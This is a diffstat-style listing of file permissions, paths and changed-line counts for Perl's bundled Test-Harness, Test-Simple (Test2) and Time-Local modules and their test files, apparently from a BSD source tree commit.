-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/iterator_factory.t19
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm2
-rwxr-xr-xgnu/usr.bin/perl/cpan/Test-Harness/t/nofork-mux.t2
-rwxr-xr-xgnu/usr.bin/perl/cpan/Test-Harness/t/regression.t79
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/rulesfile.t97
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/sample-tests/space_after_plan_v134
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Harness/t/source_tests/test.tap8
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/Formatter.pm105
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm68
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester.pm119
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Capture.pm18
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm3
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/Tester/Delegate.pm13
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test/use/ok.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2.pm213
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API.pm1567
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Breakage.pm178
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Context.pm985
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Instance.pm916
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Stack.pm220
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event.pm774
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Bail.pm109
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Diag.pm99
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Encoding.pm97
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Exception.pm113
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Fail.pm118
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Generic.pm280
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Note.pm97
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Ok.pm162
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Pass.pm114
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Plan.pm169
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Skip.pm127
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Subtest.pm160
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm101
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/V2.pm238
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Waiting.pm76
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet.pm93
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/About.pm86
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm91
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm93
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm100
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm93
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm109
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm102
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm104
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm98
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm94
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm106
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm280
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter.pm145
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm487
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub.pm908
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm88
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm51
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm136
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC.pm149
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver.pm302
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm483
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm435
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Transition.pod512
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util.pm419
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm182
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm299
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/HashBase.pm435
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Trace.pm54
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/lib/ok.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/HashBase.t238
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/00test_harness_check.t26
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/01-basic.t5
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t41
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_require_ok.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_use_ok.t26
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/600.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/629.t49
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/Builder.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/carp.t32
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/create.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test_without_plan.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/details.t105
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t51
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t50
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_no_plan.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_number.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/done_testing_with_plan.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t54
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/has_plan2.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_fh.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/is_passing.t105
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/maybe_regex.t60
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_diag.t13
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_ending.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_header.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/no_plan_at_all.t36
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/ok_obj.t29
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/output.t113
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset.t79
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/reset_outputs.t35
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/try.t42
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/More.t184
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/637.t61
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t37
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Simple/load.t13
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Test2/Subtest.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_01basic.t59
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_02fhrestore.t58
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_03die.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_04line_num.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_05faildiag.t44
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_06errormess.t120
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_07args.t215
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Tester/tbt_09do_script.pl13
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/auto.t36
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bad_plan.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/bail_out.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/buffer.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/c_flag.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/capture.t32
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/check_tests.t145
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/circular_data.t71
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/cmp_ok.t86
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/depth.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/diag.t79
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/died.t47
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/dont_overwrite_die_handler.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/eq_set.t34
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/exit.t118
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/explain_err_vars.t9
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra.t65
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/extra_one.t54
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-like.t77
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail-more.t520
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail.t61
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fail_one.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/filehandles.t18
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/fork.t29
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/harness_active.t90
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/import.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_dne_bug.t47
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_fail.t429
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/is_deeply_with_threads.t65
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/missing.t59
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/new_ok.t42
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_log_results.t19
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_plan.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/no_tests.t46
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/note.t30
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload.t86
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/overload_threads.t65
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_bad.t37
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_is_noplan.t32
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_no_plan.t40
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_shouldnt_import.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/plan_skip_all.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/require_ok.t29
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/run_test.t145
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/simple.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skip.t98
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/skipall.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/strays.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/args.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/bail_out.t71
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/basic.t212
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/callback.t53
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/die.t30
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/do.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/events.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/for_do_t.test9
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/fork.t53
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/implicit_done.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/line_numbers.t130
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/plan.t49
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/predicate.t166
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/singleton.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/threads.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/todo.t199
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/wstat.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/tbm_doesnt_set_exported_to.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/thread_taint.t5
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/threads.t34
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/todo.t157
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/undef.t104
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/use_ok.t103
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/useing.t19
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/utf8.t73
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/versions.t29
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t28
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t42
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t26
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t34
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_plan.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t35
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t51
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Formatter.t84
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t96
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t48
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_events.t17
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t19
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/Taint.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t11
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t27
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/err_var.t15
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/init_croak.t30
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/intercept.t40
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t83
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t113
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/no_load_api.t51
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t84
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/special_names.t88
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t39
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/trace_signature.t44
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/uuid.t78
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/legacy/TAP.t149
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API.t289
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Breakage.t89
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Context.t450
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Instance.t537
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Stack.t79
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event.t714
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Bail.t74
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Diag.t50
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t28
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Exception.t55
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Fail.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Generic.t141
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Note.t50
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Ok.t171
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Pass.t37
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Plan.t156
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Skip.t38
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t57
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t28
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/V2.t101
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t24
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t46
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t1019
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub.t481
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t15
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Interceptor/Terminator.t9
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t121
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC.t21
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t60
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t540
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t210
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util.t88
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t70
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t144
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Util/Trace.t41
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t30
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t37
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/gh_16.t35
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t67
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/lib/MyTest.pm15
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SkipAll.pm7
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/lib/SmallTest.pm35
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Builder/NoOutput.pm3
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/lib/Test/Simple/Catch.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/642_persistent_end.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/662-tbt-no-plan.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/684-nested_todo_diag.t23
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/694_note_diag_return_values.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/696-intercept_skip_all.t41
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t99
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/757-reset_in_subtest.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t39
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/builder_does_not_init.t18
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/errors_facet.t53
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/inherit_trace.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/no_name_in_subtest.t13
-rw-r--r--gnu/usr.bin/perl/cpan/Test-Simple/t/regression/todo_and_facets.t52
-rw-r--r--gnu/usr.bin/perl/cpan/Time-Local/lib/Time/Local.pm343
